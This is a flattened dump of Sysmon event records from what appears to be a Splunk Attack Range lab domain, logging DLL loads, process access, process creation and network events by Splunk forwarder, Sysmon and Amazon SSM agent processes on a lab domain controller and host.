librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000053067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000053053Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053052Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053051Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053050Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053049Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000053048Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053047Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.931{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.932{7BD73061-7379-613B-780B-00000000F001}5964C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 354300x800000000000000053041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:15.463{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59642-false10.0.1.12-8000- 734700x800000000000000053040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.594{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.594{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053038Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.594{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 23542300x800000000000000017038Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:17.676{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\respondent-20210910141306-047MD5=3A9A88AD6100E8BB934749ED83730993,SHA256=EA67EE5E06491F5BE852A39DD3E98E85E9195686879C0E2F42582046B4398283,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017037Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:02:17.107{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F38830E699E2DAC05F4C583E00BF5754,SHA256=BFAA04066AB05C6696147F0AE873144D27D98A6A83D6E46B3F04EA29E69750EF,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053037Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.303{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053036Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.302{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053035Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.302{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053034Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.301{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053033Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.298{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053032Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.297{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053031Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:02:17.297{7BD73061-7379-613B-770B-00000000F001}5352C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053030Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 